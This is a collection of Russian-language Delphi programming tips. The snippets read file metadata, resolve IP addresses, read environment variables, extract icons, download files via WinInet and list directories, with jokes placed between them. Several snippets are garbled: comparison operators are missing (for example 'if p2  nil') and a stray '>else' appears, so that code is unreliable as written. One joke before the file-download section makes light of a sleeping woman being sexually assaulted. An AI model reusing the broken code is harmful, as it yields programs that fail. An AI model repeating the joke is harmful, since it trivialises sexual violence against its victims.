      VerQueryValue(Info, '\', Pointer(FileInfo), FileInfoSize);
      Major1 := FileInfo.dwFileVersionMS shr 16;
      Major2 := FileInfo.dwFileVersionMS and $FFFF;
      Minor1 := FileInfo.dwFileVersionLS shr 16;
      Minor2 := FileInfo.dwFileVersionLS and $FFFF;
    finally
      FreeMem(Info, FileInfoSize);
    end;
  end;
end;

Как узнать автора файла документа.

Автор: Asmith

Вот простой пример, подробности в MSDN:

uses ActiveX, ComObj, SysUtils;
function GetSummaryInfAuthor(FileName: TFileName): string;
var
 PFileName: PWideChar;
 Storage: IStorage;
 PropSetStg: IPropertySetStorage;
 PropStg: IPropertyStorage;
 ps: PROPSPEC;
 pv: PROPVARIANT;
const
 FMTID_SummaryInformation: TGUID = '{F29F85E0-4FF9-1068-AB91-08002B27B3D9}';
begin
 PFileName := StringToOleStr(FileName);
 try
   // Open compound storage
   OleCheck(StgOpenStorage(PFileName, nil,
   STGM_DIRECT or STGM_READ or STGM_SHARE_EXCLUSIVE, nil, 0, Storage));
 finally
   SysFreeString(PFileName);
 end;
 // Summary information is in a stream under the root storage
 PropSetStg := Storage as IPropertySetStorage;
 // Get the IPropertyStorage
 OleCheck(PropSetStg.Open(FMTID_SummaryInformation,
 STGM_DIRECT or STGM_READ or STGM_SHARE_EXCLUSIVE, PropStg));
 // We want the author property value
 ps.ulKind := PRSPEC_PROPID;
 ps.propid := PIDSI_AUTHOR;
 // Read this property
 PropStg.ReadMultiple(1, @ps, @pv);
 Result := pv.pszVal;
end;

Как получить доменное имя по IP.

Спрашивает дочка у мамы: - Мам, а кто этот волосатый дядя с красными глазками? - Это твой папа, доченька. - А он что, заболел? - Да нет, он к интернету подключился.
uses winsock;
function IPAddrToName(IPAddr : string): string;
var
  SockAddrIn: TSockAddrIn;
  HostEnt: PHostEnt;
  WSAData: TWSAData;
begin
  WSAStartup($101, WSAData);
  SockAddrIn.sin_addr.s_addr:= inet_addr(PChar(IPAddr));
  HostEnt:= gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);
  if HostEnt <> nil then
    result := StrPas(Hostent^.h_name)
  else
    result:='';
end;
//Пример использования
procedure TForm1.Button1Click(Sender: TObject);
begin
  Label1.Caption := IPAddrToName(Edit1.Text);
end;

Как узнать имя домена Windows NT или 2000.

Автор: http://www.sources.ru

function GetNTDomainName: string;
var
  hReg: TRegistry;
begin
  hReg := TRegistry.Create;
  hReg.RootKey := HKEY_LOCAL_MACHINE;
  hReg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', false);
  Result := hReg.ReadString('DefaultDomainName');
  hReg.CloseKey;
  hReg.Destroy;
end;

Получить информацию о перечисляемых типах.

Автор: Xavier Pacheco

unit MainFrm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TMainForm = class(TForm)
    lbSamps: TListBox;
    memInfo: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure lbSampsClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  MainForm: TMainForm;
implementation
uses TypInfo, Buttons;
{$R *.DFM}
procedure TMainForm.FormCreate(Sender: TObject);
begin
  // Add some example enumerated types
  with lbSamps.Items do
  begin
    AddObject('TButtonState', TypeInfo(TButtonState));
    AddObject('TFormStyle', TypeInfo(TFormStyle));
    AddObject('Boolean', TypeInfo(Boolean));
  end;
end;
procedure TMainForm.lbSampsClick(Sender: TObject);
var
  OrdTypeInfo: PTypeInfo;
  OrdTypeData: PTypeData;
  TypeNameStr: string;
  TypeKindStr: string;
  MinVal, MaxVal: Integer;
  i: integer;
begin
  memInfo.Lines.Clear;
  with lbSamps do
  begin
    // Get the TTypeInfo pointer
    OrdTypeInfo := PTypeInfo(Items.Objects[ItemIndex]);
    // Get the TTypeData pointer
    OrdTypeData := GetTypeData(OrdTypeInfo);
    // Get the type name string
    TypeNameStr := OrdTypeInfo.Name;
    // Get the type kind string
    TypeKindStr := GetEnumName(TypeInfo(TTypeKind), Integer(OrdTypeInfo^.Kind));
    // Get the minimum and maximum values for the type
    MinVal := OrdTypeData^.MinValue;
    MaxVal := OrdTypeData^.MaxValue;
    // Add the information to the memo
    with memInfo.Lines do
    begin
      Add('Type Name: ' + TypeNameStr);
      Add('Type Kind: ' + TypeKindStr);
      Add('Min Val: ' + IntToStr(MinVal));
      Add('Max Val: ' + IntToStr(MaxVal));
      // Show the values and names of the enumerated types
      if OrdTypeInfo^.Kind = tkEnumeration then
        for i := MinVal to MaxVal do
          Add(Format('  Value: %d   Name: %s', [i, GetEnumName(OrdTypeInfo,
            i)]));
    end;
  end;
end;
end.

Как получить переменные окружения типа PATH и PROMPT.

Статьи по Delphi (008)…
Хакер идет по улице, в руках держит BFG 9000. Навстречу ему братки крутые: - Ты где такую феню взял, в натуре?! А он лениво так: - Да из Дума, Дебаггером дернул...

Для этого используется API функция GetEnvironmentVariable.

GetEnvironmentVariable возвращает значения:

В случае удачного выполнения функции, возвращаемое значение содержит количество символов, хранящихся в буфере, не включая последнего нулевого. Если указанная переменная окружения для текущего процесса не найдена, то возвращаемое значение равно нулю. Если буфер не достаточного размера, то возвращаемое значение равно требуемому размеру для хранения строки значения и завершающего нулевого символа.
function GetDOSEnvVar(const VarName: string): string;
var
  i: integer;
begin
  Result := '';
  try
    i := GetEnvironmentVariable(PChar(VarName), nil, 0);
    if i > 0 then
    begin
      SetLength(Result, i);
      GetEnvironmentVariable(Pchar(VarName), PChar(Result), i);
    end;
  except
    Result := '';
  end;
end;

Как получить переменные окружения типа PATH и PROMPT 2.

procedure TMainFrm.AddVarsToMemo(Sender: TObject);
var
  p: pChar;
begin
  Memo1.Lines.Clear;
  Memo1.WordWrap := false;
  p := GetEnvironmentStrings;
  while p^ <> #0 do
  begin
    Memo1.Lines.Add(StrPas(p));
    inc(p, lStrLen(p) + 1);
  end;
  FreeEnvironmentStrings(p);
end;

Как получить строку сообщения об ошибке Windows код которой получен функцией GetLastError.

Статьи по Delphi (008)…
Звонок на радио: - Поставьте, пожалуйста, песню Пугачевой про то, как у нее завис Windows! Ди-джей (после паузы): - Я не могу вспомнить у Пугачевой такой песни! Можете напеть? - ну, там еще в припеве: "Кликну, а в ответ тишина, снова я осталась одна... Сильная женщина плачет у Окна..."
procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage(IntToStr(lStrLen(nil)));
  ShowMessage(SysErrorMessage(GetLastError));
end;

Извлечь основную иконку EXE-файла.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.Button1Click(Sender: TObject);
 var
   Icon: TIcon;
   FileInfo: SHFILEINFO;
 begin
   Icon := TIcon.Create;
   try
     // Get the Icon 
    SHGetFileInfo(PChar('Filename.exe'), 0, FileInfo, SizeOf(FileInfo), SHGFI_ICON);
     icon.Handle := FileInfo.hIcon;
     DestroyIcon(FileInfo.hIcon);
     // Save the Icon to a file: 
    icon.SaveToFile('IconFromExe.ico');
     // Set the Icon as Application Icon (temporary) 
    Application.Icon := icon;
   finally
     Icon.Free;
   end;
 end;

Получение иконки для зарегистрированного расширения по его имени.

Автор: Poirot WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение иконки для зарегистрированного расширения по его имени
Функции в качестве параметра передаётся имя файла и в случае удачного выполнения
она (функция) возвращает hаndlе'р иконки (HICON). В случае, если в реестре небыло
найдено расширения предложеного файла, функция возвращает 0.
Также при успешном выполнении необходимо освободить хендлер. Для этого используется
функция DestroyIcon(Handle:HICON).
Зависимости: модуль Registry, модуль ShellAPI, модуль SysUtils и стандартные
функции Pos, Delete, Copy, ExtractFileExt, ExtractIcon, StrToInt.
Автор:       Poirot, poirot@rol.ru, Нижний Новгород
Copyright:   Poirot (частично из Delphi 5. Руководство разработчика)
Дата:        16 июня 2002 г.
***************************************************** }
function GetRegistryIconHandle(FileName: string): HICON;
var
  R: TRegistry;
  Alias, //псевдвним для расширения в реестре
  IconPath: string; //путь для файла с иконкой
  IconNum, //номер иконки в файле
  QPos: Integer; //позиция запятой в записи реестра
begin
  IconNum := 0;
  R := TRegistry.Create;
  try
    R.RootKey := HKEY_CLASSES_ROOT;
    //чтение псевданима
    if R.OpenKey('\' + ExtractFileExt(FileName), True) then
      Alias := R.ReadString('');
    R.CloseKey;
    //чтение записи об иконке
    if R.OpenKey('\' + Alias + '\DefaultIcon', True) then
      IconPath := R.ReadString('');
    R.CloseKey;
    //поиск запятой
    QPos := Pos(',', IconPath);
    //чтение номера иконки в файле если она имеется
    if QPos <> 0 then
    begin
      IconNum := StrToInt(Copy(IconPath, QPos + 1, 4));
      IconPath := Copy(IconPath, 1, QPos - 1)
    end;
  finally
    R.Free;
  end;
  //передача хендлера иконки как рещультат выполнения
  Result := ExtractIcon(hInstance, PChar(IconPath), IconNum);
end;

Пример использования:

GetRegistryIconHandle('c:\winnt\win.ini');

Получение значений полей из текстового файла.

var
  F: TextFile;
  S: string;
begin
  AssignFile(F, 'FILENAME.TXT');
  Reset(F);
  while not EOF(F) do
  begin
    Readln(F, S);
    V1 := Copy(S, 1, 3);
    V2 := Copy(S, 4, 6);
    ...
  end;
  CloseFile(F);
end;

Как получить список файлов и поддиректорий в указанной директории.

Статьи по Delphi (008)… Автор: Андрей Сорокин WEB-сайт: http://anso.da.ru

Для использования этого объекта необходима библиотека TRegExpr

{$B-}
unit DirScan;
interface
uses
  RegExpr, SysUtils, Classes;
type
  PDirectoryScannerItem = ^TDirectoryScannerItem;
  TDirectoryScannerItem = packed record
    name : string;
    Size : integer;
    LastWriteTime : TDateTime;
  end;
  TOnDirScanFileProceed = procedure (Sender : TObject; const ABaseFolder : string;
    const ASearchRecord : TSearchRec; var ACancel : boolean) of object;
  TOnDirScanStartFolderScanning = procedure (Sender : TObject; const AFolder : string) of object;
  TOnDirScanTimeSlice = procedure (Sender : TObject; var ACancel : boolean) of object;
  TCustomDirectoryScanner = class
    private
      fRegExprMask : string;
      fRecursive : boolean;
      fCount : integer;
      fOnFileProceed : TOnDirScanFileProceed;
      fOnStartFolderScanning : TOnDirScanStartFolderScanning;
      fOnTimeSlice : TOnDirScanTimeSlice;
      fMaskRegExpr : TRegExpr;
      function BuildFileListInt (const AFolder : string) : boolean;
    public
      constructor Create;
      destructor Destroy; override;
      property Recursive : boolean read fRecursive write fRecursive;
      property RegExprMask : string read fRegExprMask write fRegExprMask;
      // regular expresion for file names masks (like '(\.html?|\.xml)' etc)
      function BuildFileList (AFolder : string) : boolean;
      // Build list of all files in folder AFolder.
      // If ASubFolder = true then recursivly scans subfolders.
      // Returns false if there was file error and user
      // decided to terminate process.
      property Count : integer read fCount;
      // matched in last BuildFileList files count
      // Events
      property OnFileProceed : TOnDirScanFileProceed read fOnFileProceed write fOnFileProceed;
      // for each file matched
      property OnStartFolderScanning : TOnDirScanStartFolderScanning read fOnStartFolderScanning 
        write fOnStartFolderScanning;
      // before scanning each directory (starting with root)
      property OnTimeSlice : TOnDirScanTimeSlice read fOnTimeSlice write fOnTimeSlice;
      // for progress bur an so on (called in each internal iteration)
  end;
  TDirectoryScanner = class (TCustomDirectoryScanner)
   // simple descendant - after BuildFileList call make list of files
   // (You can access list thru Item property)
   private
     fList : TList;
     function GetItem (AIdx : integer) : PDirectoryScannerItem;
     procedure KillItem (AIdx : integer);
     procedure FileProceeding (Sender : TObject; const ABaseFolder : string;
       const ASearchRecord : TSearchRec; var ACancel : boolean);
     procedure TimeSlice (Sender : TObject; var ACancel : boolean);
   public
     constructor Create;
     destructor Destroy; override;
     property Item [AIdx : integer] : PDirectoryScannerItem read GetItem;
  end;
implementation
uses
  Windows, Controls, TFUS;
constructor TCustomDirectoryScanner.Create;
begin
  inherited;
  fRecursive := true;
  fOnFileProceed := nil;
  fOnStartFolderScanning := nil;
  fOnTimeSlice := nil;
  fMaskRegExpr := nil;
  fRegExprMask := '';
end; { of constructor TDirectoryScanner.Create}
destructor TCustomDirectoryScanner.Destroy;
begin
  fMaskRegExpr.Free;
  inherited;
end; { of destructor TCustomDirectoryScanner.Destroy}
function TCustomDirectoryScanner.BuildFileList (AFolder : string) : boolean;
begin
  if (length (AFolder) > 0) and (AFolder [length (AFolder)] = '\')
   then AFolder := copy (AFolder, 1, length (AFolder) - 1);
  fMaskRegExpr := TRegExpr.Create;
  fMaskRegExpr.Expression := RegExprMask;
  fCount := 0;
  Result := BuildFileListInt (AFolder);
end; { function BuildFileList}
function TCustomDirectoryScanner.BuildFileListInt (const AFolder : string) : boolean;
var
  sr : SysUtils.TSearchRec;
  Canceled : boolean;
begin
  Result := true;
  if Assigned (OnStartFolderScanning)
   then OnStartFolderScanning (Self, AFolder + '\');
  if SysUtils.FindFirst (AFolder + '\' + '*.*', faAnyFile, sr) = 0 then try
       repeat
        try
           if (sr.Attr and SysUtils.faDirectory) = SysUtils.faDirectory then begin
             if Recursive and (sr.name <> '.') and (sr.name <> '..')
              then Result := BuildFileListInt (AFolder + '\' + sr.name);
             end
            else begin
               if fMaskRegExpr.Exec (sr.name) then begin
                Canceled := false;
                if Assigned (OnFileProceed)
                 then OnFileProceed (Self, AFolder, sr, Canceled);
                if Canceled
                 then Result := false;
                inc (fCount);
               end;
             end;
          except on E:Exception do begin
            case MsgBox ('Replacing error',
                  'Can''t replace file contetn due to error:'#$d#$a#$d#$a
                  + E.message + #$d#$a#$d#$a + 'Continue processing ?',
                  mb_YesNo or mb_IconQuestion) of
              mrYes : Result := false;
              >else ; // must be No
             end;
           end;
         end;
        Canceled := false;
        if Assigned (OnTimeSlice)
         then OnTimeSlice (Self, Canceled);
        if Canceled
         then Result := false;
       until not Result or (SysUtils.FindNext (sr) <> 0);
      finally SysUtils.FindClose (sr);
     end;
  if not Result
   then EXIT;
end; { function BuildFileListInt}
constructor TDirectoryScanner.Create;
begin
  inherited;
  fList := TList.Create;
  OnFileProceed := FileProceeding;
  fOnTimeSlice := TimeSlice;
end; { of constructor TDirectoryScanner.Create}
destructor TDirectoryScanner.Destroy;
var
  i : integer;
begin
  for i := fList.Count - 1 downto 0 do
   KillItem (i);
  fList.Free;
  inherited;
end; { of destructor TDirectoryScanner.Destroy}
procedure TDirectoryScanner.KillItem (AIdx : integer);
var
  p : PDirectoryScannerItem;
begin
  p := PDirectoryScannerItem (fList.Items [AIdx]);
  Dispose (p);
  fList.Delete (AIdx);
end; { of procedure TDirectoryScanner.KillItem}
function TDirectoryScanner.GetItem (AIdx : integer) : PDirectoryScannerItem;
begin
  Result := PDirectoryScannerItem (fList.Items [AIdx]);
end; { of function TDirectoryScanner.GetItem}
procedure TDirectoryScanner.FileProceeding (Sender : TObject; const ABaseFolder : string;
const ASearchRecord : TSearchRec; var ACancel : boolean);
var
  p : PDirectoryScannerItem;
begin
  p := New (PDirectoryScannerItem);
  p.name := ABaseFolder + '\' + ASearchRecord.name;
  fList.Add (p);
end; { of procedure TDirectoryScanner.FileProceeding}
procedure TDirectoryScanner.TimeSlice (Sender : TObject; var ACancel : boolean);
begin
  if Count mod 100 = 0
   then Sleep (0);
end; { of procedure TDirectoryScanner.TimeSlice}
end.

Получение системной иконки, ассоциированной с файлом в данной системе.

Автор: Дмитрий Баранов WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение системной иконки, ассоциированной с файлом в данной системе
Функция позволяет получить такую же иконку любой директории или любого файла,
какую вы видите в "проводнике". Размеры - 16 * 16 (по умолчанию) или 32 * 32
(второй параметр - itLarge)
Зависимости: Юниты VCL + ComObj, ActiveX, ShellApi, ShlObj;
Автор:       Дмитрий Баранов, kda@pisem.net, Москва
Copyright:   Взято из MSDN
Дата:        20 мая 2002 г.
***************************************************** }
type
  TIconType = (itSmall, itLarge);
function GetIcon(const FileName: string; const IconType: TIconType = itSmall):
  TIcon;
var
  FileInfo: TShFileInfo;
  ImageList: TImageList;
  IT: DWORD;
begin
  // CoInitialize; лучше - поместите вызов этой ф. в раздел initialization
  IT := SHGFI_SMALLICON;
  Result := TIcon.Create;
  ImageList := TImageList.Create(nil);
  if (IconType = itLarge) then
  begin
    IT := SHGFI_LARGEICON;
    ImageList.Height := 32;
    ImageList.Width := 32;
  end;
  FillChar(FileInfo, Sizeof(FileInfo), #0);
  ImageList.ShareImages := true;
  ImageList.Handle := SHGetFileInfo(
    PChar(FileName),
    SFGAO_SHARE,
    FileInfo,
    sizeof(FileInfo),
    IT or SHGFI_SYSICONINDEX
    );
  ImageList.GetIcon(FileInfo.iIcon, Result);
  ImageList.Free;
  { Не забывайте освободить полученную иконку }
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
var
  Icon: TIcon;
begin
  Self.Icon := GetIcon('C:\');
end;

Получение файла из сети.

Девушка под самый конец рабочего дня решила полчаса початиться. Открыла пиво... пьёт, по аське прикалывается, да и засиделась допоздна. Придётся до утра ждать (контору заперли). Так и сидела всю ночь, пивко попивала... Ближе к утру оставили её силы и она решила выключить комп и вздремнуть часок. Потянулась под стол за кнопкой Power, да и заснула в позе "речного омара". С утра один из сотрудников пришел немного раньше, чем обычно и застал девушку в той же позе. "Опа!" - подумал он, задрал ей юбку и пристроился. Девушка (сквозь сон): - Ох! Не юзайте меня, я в оффлайне.
Перевод одноимённой статьи с сайта delphi.about.com

Обычно при разработке приложений, которые планируется в дальнейшем обновлять и усовершенствовать, основные модули хранятся в виде пакетов (Package) или библиотек DLL. В настоящее время Internet предоставляет возможность без особых усилий осуществлять обновление этих модулей. Поэтому добавление к Вашему приложению функции авто-обновления, является наилучшим способом для обновления приложения.

Давайте посмотрим, как реализовывается данный механизм в любом FTP приложении.

Delphi предоставляет нам полный доступ к WinInet API (wininet.pas), который можно использовать для соединения и получения файлов с веб-сайта, который использует либо Hypertext Transfer Protocol (HTTP) либо File Transfer Protocol (FTP). Например, мы можем использовать функции из WinInet API для: добавления FTP браузера в любое приложение, создания приложения, которое автоматически скачивает файлы с общедоступных FTP серверов или поиска Internet сайтов, ссылающихся на графику и скачивать только графику.

Функция GetInetFile

uses Wininet;
function GetInetFile(const fileURL, FileName: string): boolean;
const
  BufferSize = 1024;
var
  hSession, hURL: HInternet;
  Buffer: array[1..BufferSize] of Byte;
  BufferLen: DWORD;
  f: file;
  sAppName: string;
begin
  Result:=False;
  sAppName := ExtractFileName(Application.ExeName);
  hSession := InternetOpen(PChar(sAppName),
  INTERNET_OPEN_TYPE_PRECONFIG,
  nil, nil, 0);
  try
    hURL := InternetOpenURL(hSession,
    PChar(fileURL),
    nil,0,0,0);
    try
      AssignFile(f, FileName);
      Rewrite(f,1);
      repeat
        InternetReadFile(hURL, @Buffer,
        SizeOf(Buffer), BufferLen);
        BlockWrite(f, Buffer, BufferLen)
      until
        BufferLen = 0;
      CloseFile(f);
      Result:=True;
    finally
      InternetCloseHandle(hURL)
    end;
  finally
    InternetCloseHandle(hSession)
  end;
end;
Обратите внимание: Чтобы обеспечить некоторую визуальную обратную связь для пользователя, Вы можете добавить строчку наподобие FlashWindow(Application.Handle,True) в тело блока "повторить/до тех пор" (repeat/until). Вызов FlashWindow API высвечивает заголовок Вашего имени приложений в панели задач. Использование Для вызова функции GetInetFile можно использовать следующий код:
var
  FileOnNet, LocalFileName: string;
begin
  FileOnNet := 'http://its_your_sire.ru/library/forminbpl.zip';
  LocalFileName := 'File Downloaded From the Net.zip';
  if GetInetFile(FileOnNet, LocalFileName) = true then
    ShowMessage('Download successful')
  else
    ShowMessage('Error in file download');
end;

Данный код запрашивает файл 'forminbpl.zip' с сайта, скачивает его, и сохраняет его как 'File Downloaded From the Net.zip'.

Обратите внимание: В зависимости от версии Delphi, Вы можете использовать различные компоненты, которые можно найти на Интернет страницах, посвещённых VCL и, которые можно использовать для упрощения создания приложений (например FTP компонент, необходимый для TNMFTP, находящийся на странице FastNet VCL).

Загрузить файл по HTTP.

Контора. Стол. На столе компьютер. Перед столом - стул. На стуле висит пиджак. Подходят двое. - А где Вася? - Да, с утра пошел в Intегnеt - до сих пор нет.

Обычно при разработке приложений, которые планируется в дальнейшем обновлять и усовершенствовать, основные модули хранятся в виде пакетов (Package) или библиотек DLL. В настоящее время Internet предоставляет возможность без особых усилий осуществлять обновление этих модулей. Поэтому добавление к Вашему приложению функции авто-обновления, является наилучшим способом для обновления приложения.

Давайте посмотрим, как реализовывается данный механизм в любом FTP приложении.

Delphi предоставляет нам полный доступ к WinInet API (wininet.pas), который можно использовать для соединения и получения файлов с веб-сайта, который использует либо Hypertext Transfer Protocol (HTTP) либо File Transfer Protocol (FTP). Например, мы можем использовать функции из WinInet API для: добавления FTP браузера в любое приложение, создания приложения, которое автоматически скачивает файлы с общедоступных FTP серверов или поиска Internet сайтов, ссылающихся на графику и скачивать только графику.

Функция GetInetFile

uses Wininet;
function GetInetFile(const fileURL, FileName: string): boolean;
const
  BufferSize = 1024;
var
  hSession, hURL: HInternet;
  Buffer: array[1..BufferSize] of Byte;
  BufferLen: DWORD;
  f: file;
  sAppName: string;
begin
  Result := False;
  sAppName := ExtractFileName(Application.ExeName);
  hSession := InternetOpen(PChar(sAppName),
  INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  try
    hURL := InternetOpenURL(hSession, PChar(fileURL), nil, 0, 0, 0);
    try
      AssignFile(f, FileName);
      Rewrite(f,1);
      repeat
        InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen);
        BlockWrite(f, Buffer, BufferLen);
      until
        BufferLen = 0;
      CloseFile(f);
      Result := True;
    finally
      InternetCloseHandle(hURL);
    end;
  finally
    InternetCloseHandle(hSession);
  end;
end;

Обратите внимание: Чтобы обеспечить некоторую визуальную обратную связь для пользователя, Вы можете добавить строчку наподобие FlashWindow(Application.Handle,True) в тело блока "повторить/до тех пор" (repeat/until). Вызов FlashWindow API высвечивает заголовок Вашего имени приложений в панели задач.

Использование

Для вызова функции GetInetFile можно использовать следующий код:

var
  FileOnNet, LocalFileName: string
begin
  FileOnNet := 'http://its_your_site.ru/library/DelphiWorld.zip';
  LocalFileName := 'C:\DelphiWorld.zip';
  if GetInetFile(FileOnNet, LocalFileName) = True then
    ShowMessage('Download successful')
  else
    ShowMessage('Error in file download');
end;

Данный код запрашивает файл 'http://its_your_site.ru/library/DelphiWorld.zip' с сайта, скачивает его, и сохраняет его как 'C:\DelphiWorld.zip'.

Обратите внимание: В зависимости от версии Delphi, Вы можете использовать различные компоненты, которые можно найти на Интернет страницах, посвещённых VCL и, которые можно использовать для упрощения создания приложений (например FTP компонент, необходимый для TNMFTP, находящийся на странице FastNet VCL).

Получить иконку файла по ярлыку.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Comment: 
  The procedure GetAssociatedIcon, trys via Registry to get the 
  icon(should work for small and big icons) that is associated with 
  the files shown in the explorer. 
  This is not my work. But I want to distribute it to you, because 
  it was really hard to find a corresonding document. 
  Thanks SuperTrax. 
}
 { 
  Kommentar: 
  Die Prozedure GetAssociatedIcon versucht uber die Registrierung 
  das Icon der Datei, wie im Explorer angezeigt, herauszubekommen. 
  (Sollte fur grosse und kleine funktionieren) 
  Dies ist nicht mein Werk. Ich mochte es nur fur andere zuganglich 
  machen, weil ich sehr lange gebraucht habe, um ein entsprechendes 
  Dokument zu finden. 
}
 unit AIconos;
 interface
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   ExtCtrls, StdCtrls, FileCtrl;
 type
   TForm1 = class(TForm)
     Button1: TButton;
     Image1: TImage;
     Image2: TImage;
     OpenDialog1: TOpenDialog;
     procedure Button1Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;
 type
   PHICON = ^HICON;
 var
   Form1: TForm1;
   PLargeIcon, PSmallIcon: phicon;
 implementation
 uses shellapi, registry;
 {$R *.DFM}
 procedure GetAssociatedIcon(FileName: TFilename; PLargeIcon, PSmallIcon: PHICON);
 var
   IconIndex: SmallInt;  // Position of the icon in the file 
  Icono: PHICON;       // The LargeIcon parameter of ExtractIconEx 
  FileExt, FileType: string;
   Reg: TRegistry;
   p: Integer;
   p1, p2: PChar;
   buffer: array [0..255] of Char;
 Label
   noassoc, NoSHELL; // ugly! but I use it, to not modify to much the original code :( 
begin
   IconIndex := 0;
   Icono := nil;
   // ;Get the extension of the file 
  FileExt := UpperCase(ExtractFileExt(FileName));
   if ((FileExt  '.EXE') and (FileExt  '.ICO')) or not FileExists(FileName) then
   begin
     // If the file is an EXE or ICO and exists, then we can 
    // extract the icon from that file. Otherwise here we try 
    // to find the icon in the Windows Registry. 
    Reg := nil;
     try
       Reg := TRegistry.Create;
       Reg.RootKey := HKEY_CLASSES_ROOT;
       if FileExt = '.EXE' then FileExt := '.COM';
       if Reg.OpenKeyReadOnly(FileExt) then
         try
           FileType := Reg.ReadString('');
         finally
           Reg.CloseKey;
         end;
       if (FileType <> '') and Reg.OpenKeyReadOnly(FileType + '\DefaultIcon') then
         try
           FileName := Reg.ReadString('');
         finally
           Reg.CloseKey;
         end;
     finally
       Reg.Free;
     end;
     // If there is not association then lets try to 
    // get the default icon 
    if FileName = '' then goto noassoc;
     // Get file name and icon index from the association 
    // ('"File\Name",IconIndex') 
    p1 := PChar(FileName);
     p2 := StrRScan(p1, ',');
     if p2  nil then
     begin
       p         := p2 - p1 + 1; // Position de la coma 
      IconIndex := StrToInt(Copy(FileName, p + 1, Length(FileName) - p));
       SetLength(FileName, p - 1);
     end;
   end; //if ((FileExt  '.EX ... 
  // Try to extract the small icon 
  if ExtractIconEx(PChar(FileName), IconIndex, Icono^, PSmallIcon^, 1) <> 1 then
   begin
     noassoc:
     // That code is executed only if the ExtractIconEx return a value but 1 
    // There is not associated icon 
    // try to get the default icon from SHELL32.DLL 
    FileName := 'C:\Windows\System\SHELL32.DLL';
     if not FileExists(FileName) then
     begin  //If SHELL32.DLL is not in Windows\System then 
      GetWindowsDirectory(buffer, SizeOf(buffer));
       //Search in the current directory and in the windows directory 
      FileName := FileSearch('SHELL32.DLL', GetCurrentDir + ';' + buffer);
       if FileName = '' then
         goto NoSHELL; //the file SHELL32.DLL is not in the system 
    end;
     // Determine the default icon for the file extension 
    if (FileExt = '.DOC') then IconIndex := 1
     else if (FileExt = '.EXE') or (FileExt = '.COM') then IconIndex := 2
     else if (FileExt = '.HLP') then IconIndex := 23
     else if (FileExt = '.INI') or (FileExt = '.INF') then IconIndex := 63
     else if (FileExt = '.TXT') then IconIndex := 64
     else if (FileExt = '.BAT') then IconIndex := 65
     else if (FileExt = '.DLL') or (FileExt = '.SYS') or (FileExt = '.VBX') or
       (FileExt = '.OCX') or (FileExt = '.VXD') then IconIndex := 66
     else if (FileExt = '.FON') then IconIndex := 67
     else if (FileExt = '.TTF') then IconIndex := 68
     else if (FileExt = '.FOT') then IconIndex := 69
     else
       IconIndex := 0;
     // Try to extract the small icon 
    if ExtractIconEx(PChar(FileName), IconIndex, Icono^, PSmallIcon^, 1) <> 1 then
     begin
       //That code is executed only if the ExtractIconEx return a value but 1 
      // Fallo encontrar el icono. Solo "regresar" ceros. 
      NoSHELL:
       if PLargeIcon  nil then PLargeIcon^ := 0;
       if PSmallIcon  nil then PSmallIcon^ := 0;
     end;
   end; //if ExtractIconEx 
  if PSmallIcon^ 0 then
   begin //If there is an small icon then extract the large icon. 
    PLargeIcon^ := ExtractIcon(Application.Handle, PChar(FileName), IconIndex);
     if PLargeIcon^ = Null then
       PLargeIcon^ := 0;
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   SmallIcon, LargeIcon: HIcon;
   Icon: TIcon;
 begin
   if not (OpenDialog1.Execute) then
     Exit;
   Icon := TIcon.Create;
   try
     GetAssociatedIcon(OpenDialog1.FileName, @LargeIcon, @SmallIcon);
     if LargeIcon <> 0 then
     begin
       Icon.Handle := LargeIcon;
       Image2.Picture.icon := Icon;
     end;
     if SmallIcon <> 0 then
     begin
       Icon.Handle := SmallIcon;
       Image1.Picture.icon := Icon;
     end;
   finally
     Icon.Destroy;
   end;
 end;
 end.

Получаем имена файлов, скопированных в буфер обмена.

procedure TForm1.Button1Click(Sender: TObject); 
var 
  f: THandle; 
  buffer: array [0..MAX_PATH] of Char; 
  i, numFiles: Integer; 
begin 
  if not Clipboard.HasFormat(CF_HDROP) then Exit; 
  Clipboard.Open; 
  try 
    f := Clipboard.GetAsHandle(CF_HDROP); 
    if f <> 0 then 
    begin 
      numFiles := DragQueryFile(f, $FFFFFFFF, nil, 0); 
      memo1.Clear; 
      for i := 0 to numfiles - 1 do 
      begin 
        buffer[0] := #0; 
        DragQueryFile(f, i, buffer, SizeOf(buffer)); 
        memo1.Lines.Add(buffer); 
      end; 
    end; 
  finally 
    Clipboard.Close; 
  end; 
end;

Как прочитать владельца файла.

Автор: http://www.swissdelphicenter.ch

// When you create a file or directory, you become the owner of it.
// With GetFileOwner you get the owner of a file.
function GetFileOwner(FileName: string;
  var Domain, Username: string): Boolean;
var
  SecDescr: PSecurityDescriptor;
  SizeNeeded, SizeNeeded2: DWORD;
  OwnerSID: PSID;
  OwnerDefault: BOOL;
  OwnerName, DomainName: PChar;
  OwnerType: SID_NAME_USE;
begin
  GetFileOwner := False;
  GetMem(SecDescr, 1024);
  GetMem(OwnerSID, SizeOf(PSID));
  GetMem(OwnerName, 1024);
  GetMem(DomainName, 1024);
  try
    if not GetFileSecurity(PChar(FileName),
      OWNER_SECURITY_INFORMATION,
      SecDescr, 1024, SizeNeeded) then
      Exit;
    if not GetSecurityDescriptorOwner(SecDescr,
      OwnerSID, OwnerDefault) then
      Exit;
    SizeNeeded := 1024;
    SizeNeeded2 := 1024;
    if not LookupAccountSID(nil, OwnerSID, OwnerName,
      SizeNeeded, DomainName, SizeNeeded2, OwnerType) then
